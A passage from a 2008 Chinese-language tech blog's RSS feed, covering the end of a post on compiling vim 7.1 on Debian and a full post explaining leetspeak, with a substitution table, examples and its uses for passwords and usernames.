href=&quot;ftp://ftp.vim.org/pub/vim/unix/vim-7.1.tar.bz2&quot;&gt;ftp://ftp.vim.org/pub/vim/unix/vim-7.1.tar.bz2&lt;/a&gt;&lt;br&gt;&lt;br&gt;2. root@bvcomforge:~/tools# tar xf vim-7.1.tar.bz2 &lt;br&gt; &lt;br&gt;3. root@bvcomforge:~/tools/vim71# ./configure &lt;br&gt;checking for tgetent in -lcurses... no&lt;br&gt;no terminal library found&lt;br&gt;checking for tgetent()... configure: error: NOT FOUND!&lt;br&gt;&lt;span style=&quot;color: rgb(204, 51, 204);&quot;&gt;      You need to install a terminal library; for example ncurses.&lt;/span&gt;&lt;br&gt;       Or specify the name of the library with --with-tlib.&lt;br&gt;&lt;br&gt;&lt;span style=&quot;color: rgb(204, 51, 204);&quot;&gt;4. root@bvcomforge:~/tools/vim71# apt-cache search ncurses dev  &lt;/span&gt;&lt;br style=&quot;color: rgb(204, 51, 204);&quot;&gt;&lt;span style=&quot;color: rgb(204, 51, 204);&quot;&gt;libncurses5-dev - Developer&#39;s libraries and docs for ncurses&lt;/span&gt;&lt;br style=&quot;color: rgb(204, 51, 204);&quot;&gt; &lt;br style=&quot;color: rgb(204, 51, 204);&quot;&gt;&lt;span style=&quot;color: rgb(204, 51, 204);&quot;&gt;5. root@bvcomforge:~/tools/vim71# apt-get install libncurses5-dev&lt;/span&gt;&lt;br&gt;6. root@bvcomforge:~/tools/vim71# ./configure &lt;br&gt;7. root@bvcomforge:~/tools/vim71# make&lt;br&gt; 8. root@bvcomforge:~/tools/vim71# make install&lt;br&gt;&lt;br clear=&quot;all&quot;&gt;&lt;br&gt;-- &lt;br&gt;Blog: &lt;a href=&quot;http://www.borderj.cn&quot;&gt;www.borderj.cn&lt;/a&gt;&lt;br&gt;&lt;br&gt; Border &lt;div class=&quot;blogger-post-footer&quot;&gt;&lt;img width=&#39;1&#39; height=&#39;1&#39; src=&#39;https://blogger.googleusercontent.com/tracker/6181670258151619494-63063396000003810?l=borderjs.blogspot.com&#39; alt=&#39;&#39; /&gt;&lt;/div&gt;</description><link>http://borderjs.blogspot.com/2008/03/linux-install-vim71-on-debian.html</link><author>borderj@gmail.com (Border)</author><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-6181670258151619494.post-8861836425622172579</guid><pubDate>Sat, 22 Mar 2008 12:15:00 +0000</pubDate><atom:updated>2008-03-22T20:15:35.314+08:00</atom:updated><title>『Hack』 1337 the language of hackers</title><description>&lt;br&gt;当你打开&lt;a href=&quot;http://www.google.com/intl/xx-hacker/&quot; target=&quot;_blank&quot;&gt;http://www.google.com/intl/xx-hacker/&lt;/a&gt; 时，&lt;br&gt;&lt;p&gt;你会看到google的页面居然全部是乱码？？？？&lt;/p&gt; &lt;p&gt;&lt;font color=&quot;#ff6600&quot;&gt;n0rM4L s34rCh    Im4635    6r00pZ    d1r3c70rY     &lt;br&gt;  &lt;br&gt;   4DV4NC3D 534RC|-|&lt;br&gt;  PR3F3R3N(3Z&lt;br&gt;  £4|\|6µ463 700|5 &lt;/font&gt;&lt;/p&gt;  &lt;p&gt;&lt;font color=&quot;#ff6600&quot;&gt;4|| 480u7 Google - &lt;a href=&quot;http://google.com/&quot; target=&quot;_blank&quot;&gt;Google.com&lt;/a&gt; in English &lt;br&gt;M4k3 Google Y0ur |-|0m3p463!&lt;/font&gt;&lt;br&gt;&lt;/p&gt; &lt;p&gt;你一定看不懂！但是Monyer和我的黑客兄弟们却是各个都懂的，因为这个就是传说中的黑客语言！让Monyer先给你翻译一遍！&lt;br&gt;&lt;font color=&quot;#ff6600&quot;&gt;normal search    images    groups   directory&lt;/font&gt;&lt;/p&gt; &lt;p&gt;&lt;font color=&quot;#ff6600&quot;&gt;  advanced search&lt;br&gt;  preferences &lt;br&gt;  language tools&lt;/font&gt;&lt;/p&gt; &lt;p&gt;&lt;font color=&quot;#ff6600&quot;&gt;all about&lt;/font&gt; &lt;font color=&quot;#ff6600&quot;&gt;google - &lt;a href=&quot;http://google.com/&quot; target=&quot;_blank&quot;&gt;google.com&lt;/a&gt; in english&lt;br&gt;make google your homepage&lt;/font&gt;&lt;/p&gt; &lt;p&gt; 那么你一定纳闷我是这么知道翻译的呢？其实很简单：1337（leet）语言一共分两个加密阶段，一个是初级加密阶段，它仅仅会把某些英文字母进行替换，替换规则如下：&lt;/p&gt; &lt;p&gt;&lt;font color=&quot;#ff6600&quot;&gt;0  1   3   4   5   6   7  |&lt;br&gt;o   l   e   a   s   g   t   i&lt;/font&gt;&lt;/p&gt; &lt;p&gt;于是譬如Monyer就会被写成M0ny3r.其实你会发现它就是一种简单的象形字母，但是这么写会有什么好处呢？大家知道在暴力破解中，一般的黑客字典是一定会藏有&quot;root&quot;&quot;admin&quot;&quot;god&quot;之类的密码的，因为特别是在国外，有很多人都在用这种密码。如果暴力破解来，成功率应该会达到很大。但是如果你用骇客语进行形容的话就会变成&quot;r007&quot;&quot;4dm|n&quot;&quot;60d&quot;，这样如果是依靠字典的暴力破解基本上不会猜到，但是如果是穷举式的暴力破解依然会猜解到，于是高级的加密阶段可以来解决这个问题：&lt;/p&gt;   &lt;p&gt;譬如MONYER被加密成/\/\0/\/`/3|2，原来的6个字符被加密成了13个字符，而且由大量的特殊字符组成，这样的13位密码的短期的暴力破解可能性几乎为0。&lt;/p&gt; &lt;p&gt;&lt;font color=&quot;#ff0000&quot;&gt;所以黑客语的第一个用途是加密密码（并且这个密码你是完全可以用大脑记住的）&lt;/font&gt;&lt;/p&gt; &lt;p&gt;下面是一种通用的二级加密方式，大家可以参考一下：&lt;/p&gt; &lt;p&gt; &lt;/p&gt;&lt;table style=&quot;width: 570px;&quot; border=&quot;1&quot; cellpadding=&quot;5&quot; cellspacing=&quot;0&quot; rules=&quot;none&quot;&gt;   &lt;tbody&gt;   &lt;tr&gt;     &lt;td align=&quot;left&quot; valign=&quot;top&quot;&gt;       &lt;p&gt;A = @&lt;/p&gt;&lt;/td&gt;     &lt;td align=&quot;left&quot; valign=&quot;top&quot;&gt;       &lt;p&gt;U = |_|&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt;   &lt;tr&gt;     &lt;td align=&quot;left&quot; valign=&quot;top&quot;&gt;       &lt;p&gt;B = |3&lt;/p&gt;&lt;/td&gt;     &lt;td align=&quot;left&quot; valign=&quot;top&quot;&gt;       &lt;p&gt;V = \/&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt;   &lt;tr&gt;     &lt;td align=&quot;left&quot; valign=&quot;top&quot;&gt;       &lt;p&gt;C = (&lt;/p&gt;&lt;/td&gt;     &lt;td align=&quot;left&quot; valign=&quot;top&quot;&gt;       &lt;p&gt;W = \/\/&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt;   &lt;tr&gt;     &lt;td align=&quot;left&quot; valign=&quot;top&quot;&gt;       &lt;p&gt;D = |)&lt;/p&gt;&lt;/td&gt;     &lt;td align=&quot;left&quot; valign=&quot;top&quot;&gt;       &lt;p&gt;X = )(&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt;   &lt;tr&gt;     &lt;td align=&quot;left&quot; valign=&quot;top&quot;&gt;       &lt;p&gt;E = 3&lt;/p&gt;&lt;/td&gt;     &lt;td align=&quot;left&quot; valign=&quot;top&quot;&gt;       &lt;p&gt;Y = &#39;/&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt;   &lt;tr&gt;     &lt;td align=&quot;left&quot; valign=&quot;top&quot;&gt;       &lt;p&gt;F = |=&lt;/p&gt;&lt;/td&gt;     &lt;td align=&quot;left&quot; valign=&quot;top&quot;&gt;       &lt;p&gt;Z = 2&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt;   &lt;tr&gt;     &lt;td align=&quot;left&quot; valign=&quot;top&quot;&gt;       &lt;p&gt;G = 6&lt;/p&gt;&lt;/td&gt;     &lt;td align=&quot;left&quot; valign=&quot;top&quot;&gt;       &lt;p&gt;a = 4&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt;   &lt;tr&gt;     &lt;td align=&quot;left&quot; valign=&quot;top&quot;&gt;       &lt;p&gt;H = |-|&lt;/p&gt;&lt;/td&gt;     &lt;td align=&quot;left&quot; valign=&quot;top&quot;&gt;       &lt;p&gt;b = 8&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt;   &lt;tr&gt;     &lt;td align=&quot;left&quot; valign=&quot;top&quot;&gt;       &lt;p&gt;I = |&lt;/p&gt;&lt;/td&gt;     &lt;td align=&quot;left&quot; valign=&quot;top&quot;&gt;       &lt;p&gt;c = ©&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt;   &lt;tr&gt;     &lt;td align=&quot;left&quot; valign=&quot;top&quot;&gt;       &lt;p&gt;J = _|&lt;/p&gt;&lt;/td&gt;     &lt;td align=&quot;left&quot; valign=&quot;top&quot;&gt;       &lt;p&gt;d = |&gt;&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt;   &lt;tr&gt;     &lt;td align=&quot;left&quot; valign=&quot;top&quot;&gt;       &lt;p&gt;K = |(&lt;/p&gt;&lt;/td&gt;     &lt;td align=&quot;left&quot; valign=&quot;top&quot;&gt;       &lt;p&gt;e = 3&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt;   &lt;tr&gt;     &lt;td align=&quot;left&quot; valign=&quot;top&quot;&gt;       &lt;p&gt;L = |_&lt;/p&gt;&lt;/td&gt;     &lt;td align=&quot;left&quot; valign=&quot;top&quot;&gt;       &lt;p&gt;f = #&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt;   &lt;tr&gt;     &lt;td align=&quot;left&quot; valign=&quot;top&quot;&gt;       &lt;p&gt;M = /\/\&lt;/p&gt;&lt;/td&gt;     &lt;td align=&quot;left&quot; valign=&quot;top&quot;&gt;       &lt;p&gt;g = 9&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt;   &lt;tr&gt;     &lt;td align=&quot;left&quot; valign=&quot;top&quot;&gt;       &lt;p&gt;N = /\/&lt;/p&gt;&lt;/td&gt;     &lt;td align=&quot;left&quot; valign=&quot;top&quot;&gt;       &lt;p&gt;h = h&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt;   &lt;tr&gt;     &lt;td align=&quot;left&quot; valign=&quot;top&quot;&gt;       &lt;p&gt;O = 0&lt;/p&gt;&lt;/td&gt;     &lt;td align=&quot;left&quot; valign=&quot;top&quot;&gt;       &lt;p&gt;i = |&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt;   &lt;tr&gt;     &lt;td align=&quot;left&quot; valign=&quot;top&quot;&gt;       &lt;p&gt;P = |*&lt;/p&gt;&lt;/td&gt;     &lt;td align=&quot;left&quot; valign=&quot;top&quot;&gt;       &lt;p&gt;j = j&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt;   &lt;tr&gt;     &lt;td align=&quot;left&quot; valign=&quot;top&quot;&gt;       &lt;p&gt;Q = 0,&lt;/p&gt;&lt;/td&gt;     &lt;td align=&quot;left&quot; valign=&quot;top&quot;&gt;       &lt;p&gt;k = |&lt;&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt;   &lt;tr&gt;     &lt;td align=&quot;left&quot; valign=&quot;top&quot;&gt;       &lt;p&gt;R = |2&lt;/p&gt;&lt;/td&gt;     &lt;td align=&quot;left&quot; valign=&quot;top&quot;&gt;       &lt;p&gt;l = 1&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt;   &lt;tr&gt;     &lt;td align=&quot;left&quot; valign=&quot;top&quot;&gt;       &lt;p&gt;S = $&lt;/p&gt;&lt;/td&gt;     &lt;td align=&quot;left&quot; valign=&quot;top&quot;&gt;       &lt;p&gt;m = m&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt;   &lt;tr&gt;     &lt;td align=&quot;left&quot; valign=&quot;top&quot;&gt;       &lt;p&gt;T = 7&lt;/p&gt;&lt;/td&gt;     &lt;td align=&quot;left&quot; valign=&quot;top&quot;&gt;       &lt;p&gt;n = n&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt;   &lt;tr&gt;     &lt;td align=&quot;left&quot; valign=&quot;top&quot;&gt;       &lt;p&gt;o = 0&lt;/p&gt;&lt;/td&gt;     &lt;td align=&quot;left&quot; valign=&quot;top&quot;&gt;       &lt;p&gt;programs = progz&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt;   &lt;tr&gt;     &lt;td align=&quot;left&quot; valign=&quot;top&quot;&gt;       &lt;p&gt;p = |*&lt;/p&gt;&lt;/td&gt;     &lt;td align=&quot;left&quot; valign=&quot;top&quot;&gt;       &lt;p&gt;god = r00t&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt;   &lt;tr&gt;     &lt;td align=&quot;left&quot; valign=&quot;top&quot;&gt;       &lt;p&gt;q = 0.&lt;/p&gt;&lt;/td&gt;     &lt;td align=&quot;left&quot; valign=&quot;top&quot;&gt;       &lt;p&gt;fool = f00&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt;   &lt;tr&gt;     &lt;td align=&quot;left&quot; valign=&quot;top&quot;&gt;       &lt;p&gt;r = ®&lt;/p&gt;&lt;/td&gt;     &lt;td align=&quot;left&quot; valign=&quot;top&quot;&gt;       &lt;p&gt;heart/love = &lt;3&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt;   &lt;tr&gt;     &lt;td align=&quot;left&quot; valign=&quot;top&quot;&gt;       &lt;p&gt;s = 5&lt;/p&gt;&lt;/td&gt;     &lt;td align=&quot;left&quot; valign=&quot;top&quot;&gt;       &lt;p&gt;what&#39;s up = sup&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt;   &lt;tr&gt;     &lt;td align=&quot;left&quot; valign=&quot;top&quot;&gt;       &lt;p&gt;t = +&lt;/p&gt;&lt;/td&gt;     &lt;td align=&quot;left&quot; valign=&quot;top&quot;&gt;       &lt;p&gt;that = dat&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt;   &lt;tr&gt;     &lt;td align=&quot;left&quot; valign=&quot;top&quot;&gt;       &lt;p&gt;u = 00&lt;/p&gt;&lt;/td&gt;     &lt;td align=&quot;left&quot; valign=&quot;top&quot;&gt;       &lt;p&gt;look at = peep&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt;   &lt;tr&gt;     &lt;td align=&quot;left&quot; valign=&quot;top&quot;&gt;       &lt;p&gt;v = \/&lt;/p&gt;&lt;/td&gt;     &lt;td align=&quot;left&quot; valign=&quot;top&quot;&gt;       &lt;p&gt;kill = frag&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt;   &lt;tr&gt;     &lt;td align=&quot;left&quot; valign=&quot;top&quot;&gt;       &lt;p&gt;w = \/\/&lt;/p&gt;&lt;/td&gt;     &lt;td align=&quot;left&quot; valign=&quot;top&quot;&gt;       &lt;p&gt;sweet = schweet&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt;   &lt;tr&gt;     &lt;td align=&quot;left&quot; valign=&quot;top&quot;&gt;       &lt;p&gt;x = &gt;&lt;&lt;/p&gt;&lt;/td&gt;     &lt;td align=&quot;left&quot; valign=&quot;top&quot;&gt;       &lt;p&gt;sleep = reboot&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt;   &lt;tr&gt;     &lt;td align=&quot;left&quot; valign=&quot;top&quot;&gt;       &lt;p&gt;y = j&lt;/p&gt;&lt;/td&gt;     &lt;td align=&quot;left&quot; valign=&quot;top&quot;&gt;       &lt;p&gt;greater than = &gt;&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt;   &lt;tr&gt;     &lt;td align=&quot;left&quot; valign=&quot;top&quot;&gt;       &lt;p&gt;z = 2&lt;/p&gt;&lt;/td&gt;     &lt;td align=&quot;left&quot; valign=&quot;top&quot;&gt;       &lt;p&gt;newbie = n00b&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt;   &lt;tr&gt;     &lt;td align=&quot;left&quot; valign=&quot;top&quot;&gt;       &lt;p&gt;at = @&lt;/p&gt;&lt;/td&gt;     &lt;td align=&quot;left&quot; valign=&quot;top&quot;&gt;       &lt;p&gt;no = noes&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt;   &lt;tr&gt;     &lt;td align=&quot;left&quot; valign=&quot;top&quot;&gt;       &lt;p&gt;ck = x0r&lt;/p&gt;&lt;/td&gt;     &lt;td align=&quot;left&quot; valign=&quot;top&quot;&gt;       &lt;p&gt;woo hoo = w00t&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt;   &lt;tr&gt;     &lt;td align=&quot;left&quot; valign=&quot;top&quot;&gt;       &lt;p&gt;the = teh&lt;/p&gt;&lt;/td&gt;     &lt;td align=&quot;left&quot; valign=&quot;top&quot;&gt;       &lt;p&gt;why = y&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt;   &lt;tr&gt;     &lt;td align=&quot;left&quot; valign=&quot;top&quot;&gt;       &lt;p&gt;you = j00 or u&lt;/p&gt;&lt;/td&gt;     &lt;td align=&quot;left&quot; valign=&quot;top&quot;&gt;       &lt;p&gt;be = b&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt;   &lt;tr&gt;     &lt;td align=&quot;left&quot; valign=&quot;top&quot;&gt;       &lt;p&gt;own = pwn&lt;/p&gt;&lt;/td&gt;     &lt;td align=&quot;left&quot; valign=&quot;top&quot;&gt;       &lt;p&gt;are = r&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt;   &lt;tr&gt;     &lt;td align=&quot;left&quot; valign=&quot;top&quot;&gt;       &lt;p&gt;dude = d00d&lt;/p&gt;&lt;/td&gt;     &lt;td align=&quot;left&quot; valign=&quot;top&quot;&gt;       &lt;p&gt;fear = ph34r&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt;   &lt;tr&gt;     &lt;td align=&quot;left&quot; valign=&quot;top&quot;&gt;       &lt;p&gt;and = &amp;&lt;/p&gt;&lt;/td&gt;     &lt;td align=&quot;left&quot; valign=&quot;top&quot;&gt;       &lt;p&gt;super = uber&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt;   &lt;tr&gt;     &lt;td align=&quot;left&quot; valign=&quot;top&quot;&gt;       &lt;p&gt;blah/me = meh&lt;/p&gt;&lt;/td&gt;     &lt;td align=&quot;left&quot; valign=&quot;top&quot;&gt;       &lt;p&gt;yo = j0&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt;   &lt;tr&gt;     &lt;td align=&quot;left&quot; valign=&quot;top&quot;&gt;       &lt;p&gt;rock = r0xx0r&lt;/p&gt;&lt;/td&gt;     &lt;td align=&quot;left&quot; valign=&quot;top&quot;&gt;       &lt;p&gt;hacker = h4x0r&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt;   &lt;tr&gt;     &lt;td align=&quot;left&quot; valign=&quot;top&quot;&gt;       &lt;p&gt;cool = k3wl&lt;/p&gt;&lt;/td&gt;     &lt;td align=&quot;left&quot; valign=&quot;top&quot;&gt;       &lt;p&gt;software = warez&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt;   &lt;tr&gt;     &lt;td align=&quot;left&quot; valign=&quot;top&quot;&gt;       &lt;p&gt;computer = pu73r&lt;/p&gt;&lt;/td&gt;     &lt;td align=&quot;left&quot; valign=&quot;top&quot;&gt;       &lt;p&gt;chick = chix0r&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt;   &lt;tr&gt;     &lt;td align=&quot;left&quot; valign=&quot;top&quot;&gt;       &lt;p&gt;good = teh win&lt;/p&gt;&lt;/td&gt;     &lt;td align=&quot;left&quot; valign=&quot;top&quot;&gt;       &lt;p&gt;bad = teh lose&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt;   &lt;tr&gt;     &lt;td align=&quot;left&quot; valign=&quot;top&quot;&gt;       &lt;p&gt;loser = l4m3r&lt;/p&gt;&lt;/td&gt;     &lt;td align=&quot;left&quot; valign=&quot;top&quot;&gt;       &lt;p&gt;aol = uh, 14m3r&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt;   &lt;tr&gt;     &lt;td align=&quot;left&quot; valign=&quot;top&quot;&gt;       &lt;p&gt;money = monies&lt;/p&gt;&lt;/td&gt;     &lt;td align=&quot;left&quot; valign=&quot;top&quot;&gt;       &lt;p&gt;bye = bai&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt;   &lt;tr&gt;     &lt;td align=&quot;left&quot; valign=&quot;top&quot;&gt;       &lt;p&gt;kick = punt&lt;/p&gt;&lt;/td&gt;     &lt;td align=&quot;left&quot; valign=&quot;top&quot;&gt;       &lt;p&gt;porn = pr0n&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt;   &lt;tr&gt;     &lt;td align=&quot;left&quot; valign=&quot;top&quot;&gt;       &lt;p&gt;skill = m4d 5killz&lt;/p&gt;&lt;/td&gt;     &lt;td align=&quot;left&quot; valign=&quot;top&quot;&gt;       &lt;p&gt;hello = ping&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt;   &lt;tr&gt;     &lt;td align=&quot;left&quot; valign=&quot;top&quot;&gt;       &lt;p&gt;robot = b0t&lt;/p&gt;&lt;/td&gt;     &lt;td align=&quot;left&quot; valign=&quot;top&quot;&gt;       &lt;p&gt;naked = n3k3d&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt;   &lt;tr&gt;     &lt;td align=&quot;left&quot; valign=&quot;top&quot;&gt;       &lt;p&gt;what = wut&lt;/p&gt;&lt;/td&gt;     &lt;td align=&quot;left&quot; valign=&quot;top&quot;&gt;       &lt;p&gt;whatever = wutev&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt;   &lt;tr&gt;     &lt;td align=&quot;left&quot; valign=&quot;top&quot;&gt;       &lt;p&gt;cool = c00&lt;/p&gt;&lt;/td&gt;     &lt;td align=&quot;left&quot; valign=&quot;top&quot;&gt;       &lt;p&gt;to/two = 2&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt;   &lt;tr&gt;     &lt;td align=&quot;left&quot; valign=&quot;top&quot;&gt;       &lt;p&gt;with = wit&lt;/p&gt;&lt;/td&gt;     &lt;td align=&quot;left&quot; valign=&quot;top&quot;&gt;       &lt;p&gt;sex = cyb3r&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt; &lt;p&gt;你上搜索引擎查h4ck3r可能不会特别多，但是如果你查h4x0r就会发现有很多，而且有很多人来用它做用户名之类。&lt;/p&gt; &lt;p&gt;&lt;font color=&quot;#ff0000&quot;&gt;所以黑客语的第二个用途是进行用户注册（有时h4x0r甚至会比hacker这个帐号更能表现你的价值）&lt;/font&gt;&lt;/p&gt; &lt;p&gt;你的电脑中过expl0rer.exe或者是exp1orer.exe病毒吗？其实原来你可能会想到这些病毒制作者非常有创意，连这个都能想到（也有朋友在我一眼就能看出这个伪装时感到惊讶！），其实如果你知道骇客语你就会一眼就看出来这个伪装，并且不会因此去崇拜病毒制作者的高明伪装&lt;/p&gt; &lt;p&gt;&lt;font color=&quot;#ff0000&quot;&gt;所以黑客语的第三个用途是进行伪装欺骗（vol的黑客加密为\/01、\/ol、vo1、v0l等等，你都能看出来么&lt;/font&gt;&lt;font color=&quot;#ff0000&quot;&gt;？）&lt;/font&gt;&lt;/p&gt; &lt;p&gt;其实即使我讲了这么多，你依然不要妄自尊大地认为你已经学会了黑客语。事实上直到现在，Monyer尚没有完全掌握黑客语的精华部分——加密&lt;/p&gt; &lt;p&gt;我们来看看1337手册里的一些例子：&lt;/p&gt; &lt;p&gt;english: &lt;span&gt;i didn&#39;t really care for that movie.&lt;/span&gt;&lt;/p&gt; &lt;p&gt;leet: dat dot mov wuz teh lose! &lt;/p&gt; &lt;p&gt;english: wow, i won.&lt;/p&gt; &lt;p&gt;leet: &lt;span&gt;omgz&lt;/span&gt; (oh my godz) lolz!! i pwned j00r @$$!&lt;/p&gt; &lt;p&gt;english: i am learning how to become an elite hacker.&lt;/p&gt; &lt;p&gt;leet: i 4/\/\ 134|2/\/i/\/9 |-|0\/\/ 2 83c0m3 4 1337 h4x0r, roffle-mayo.&lt;/p&gt; &lt;p&gt;english: sigh, what in the world is that supposed to be?&lt;/p&gt; &lt;p&gt;leet: *sighs* &lt;span&gt;wtf&lt;/span&gt; (what the f---) b dat f00?&lt;/p&gt; &lt;p&gt;english: i&#39;m tired.&lt;/p&gt; &lt;p&gt;leet: i&#39;m 80u7 2 m4k3 1ik3 &lt;span&gt;ie&lt;/span&gt; (internet explorer) &amp; cr45h. /m3h y4wn5&lt;/p&gt; &lt;p&gt;你会发现一切都不是那么简单的，呵呵。这里Monyer仅仅是带领大家入门，更深入的就不讲了&lt;/p&gt; &lt;p&gt;&lt;font color=&quot;#ff0000&quot;&gt;所以黑客语的第四个用途是加密以及黑客内部交流（|&gt;0 u un|&gt;3r574n|&gt; ?\/\/007!）&lt;/font&gt;&lt;/p&gt; &lt;p&gt;Monyer本人亦没有对黑客语有更多的了解，因此仅说这些，以后有了更深入的了解我再加上，在这里仅仅给大家提供一种学习的思路，献丑了。&lt;/p&gt; &lt;p&gt;&lt;font color=&quot;#ff0000&quot;&gt;后记：&lt;/font&gt;&lt;/p&gt; &lt;p&gt;1337 is the language of hackers and newbies across the internet. Also, the words in 1337 are usually short(ie &quot;are&quot; becomes &quot;r&quot;) and intentionally spelt wrong(ie &quot;the&quot; becomes &quot;teh&quot;, this is most common with e switching places and o&#39;s becoming p&#39;s).&lt;br&gt;  &lt;br&gt;1337 is the language in which numbers and symbols are put together to look like letters. Some people create their own 1337 letters and it makes them look more 1337 by fellow 1337-speakers. Here is an alphabet of 1337 letters I know and have created:&lt;br&gt;  &lt;br&gt;A: 4 or l\ or ^ or @ or /\ or /-\&lt;br&gt;B. l3 or 8 or ? or ]3 or l:&lt;br&gt;C: ( or &lt; or ? or ￠&lt;br&gt;D: l) or l&gt; or ])&lt;br&gt;E:3 or ￡&lt;br&gt;F: l= or # or ?&lt;br&gt;G:6 or 9&lt;br&gt;H: # or l-l or (-) or !-! or }-{ or }{ or l+l or )+( or !+! or }+{&lt;br&gt;  L: 1 or ! or ][&lt;br&gt;J: _l or _/&lt;br&gt;K: l&lt; or l( or l{ or l&lt;=&lt;br&gt;L: l_ or ! or 1&lt;br&gt;M: l\/l or /\/\ or l\l\ or ^^&lt;br&gt;N: l/l or /\/&lt;br&gt;O: 0 or () or &lt;&gt; or * or ? or or&lt;br&gt;P: l* or l&gt; or |D or l^ or l+&lt;br&gt;Q:&amp; or (\) or ?&lt;br&gt;  R: l2 or ?&lt;br&gt;S: 5 or $ or&lt;br&gt;T:+ or 7&lt;br&gt;U: l_l or /_/&lt;br&gt;V: \/&lt;br&gt;W:|/\| or \/\/ or |/\/ or \/\|&lt;br&gt;X: &gt;&lt; or }{ or :-:&lt;br&gt;Y: ￥&lt;br&gt;Z: 2&lt;br&gt;&lt;br&gt;()/\/\9 7^l+l+ 15 73)-( 1337 #l\:-:&lt;&gt;l2 1 +()l_l&gt; _/&lt;&gt;* ^l3l_l+ /\/\3}-{ #1213l/ll&gt;!!!1!!11!1!! )+(3 |D\l\/l/l2.&lt;br&gt;  &lt;br&gt;translation:Oh my god that is the leet hacker I told you about my friend! He owns.&lt;br&gt;&lt;br&gt;Common mispellings:&lt;br&gt;the = teh&lt;br&gt;that = taht&lt;br&gt;take = taek&lt;br&gt;own = pwn&lt;br&gt;you = joo&lt;br&gt;dude = jood&lt;br&gt;&lt;br&gt;common phonetic replacements(always used in true 1337):&lt;br&gt;  f = ph&lt;br&gt;ck == xx&lt;br&gt;&lt;br&gt;*there is no &#39;F&#39; in true 1337, it is replaced by the &#39;ph&#39; phonetic in true 1337&lt;br&gt;&lt;br&gt;**acceptable when not replaced by a symbol_|00 |2 4/\/ |_||\|1337 (_)83|2 |-|4&gt;&lt;&gt;&lt;0|2&lt;br&gt;  &lt;br&gt;Translation: You are an unleet uber hacker&lt;/p&gt;&lt;br&gt;参考： &lt;br&gt;1. 在线翻译 &lt;a href=&quot;http://home.no.net/hellshl/main/translate.html&quot; target=&quot;_blank&quot;&gt;http://home.no.net/hellshl/main/translate.html&lt;/a&gt;&lt;br&gt;2. &lt;span&gt;ph4nt0m &lt;a href=&quot;https://groups.google.com/group/ph4nt0m&quot; target=&quot;_blank&quot;&gt;https://groups.google.com/group/ph4nt0m&lt;/a&gt;&lt;br&gt;  3. &lt;a href=&quot;https://groups.google.com/group/ph4nt0m/browse_thread/thread/325a9b8681b3f12b/b49febe7f62c6894?lnk=gst&amp;q=1337#b49febe7f62c6894&quot; target=&quot;_blank&quot;&gt;https://groups.google.com/group/ph4nt0m/browse_thread/thread/325a9b8681b3f12b/b49febe7f62c6894?lnk=gst&amp;q=1337#b49febe7f62c6894&lt;/a&gt;&lt;br clear=&quot;all&quot;&gt;  &lt;/span&gt;&lt;br&gt;-- &lt;br&gt;Blog: &lt;a href=&quot;http://www.borderj.cn&quot; target=&quot;_blank&quot;&gt;www.borderj.cn&lt;/a&gt;&lt;br&gt;&lt;br&gt; Border &lt;div class=&quot;blogger-post-footer&quot;&gt;&lt;img width=&#39;1&#39; height=&#39;1&#39; src=&#39;https://blogger.googleusercontent.com/tracker/6181670258151619494-8861836425622172579?l=borderjs.blogspot.com&#39; alt=&#39;&#39; /&gt;&lt;/div&gt;</description><link>http://borderjs.blogspot.com/2008/03/hack-1337-language-of-hackers.html</link><author>borderj@gmail.com (Border)</author><thr:total>3</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-6181670258151619494.post-3202467314740746383</guid><pubDate>Fri, 21 Mar 2008 08:36:00 +0000</pubDate><atom:updated>2008-03-21T16:37:24.800+08:00</atom:updated><title>『Java』 通过 JavaScript 和 Applet 判断 JRE 的版本</title><description>&lt;br clear=&quot;all&quot;&gt;   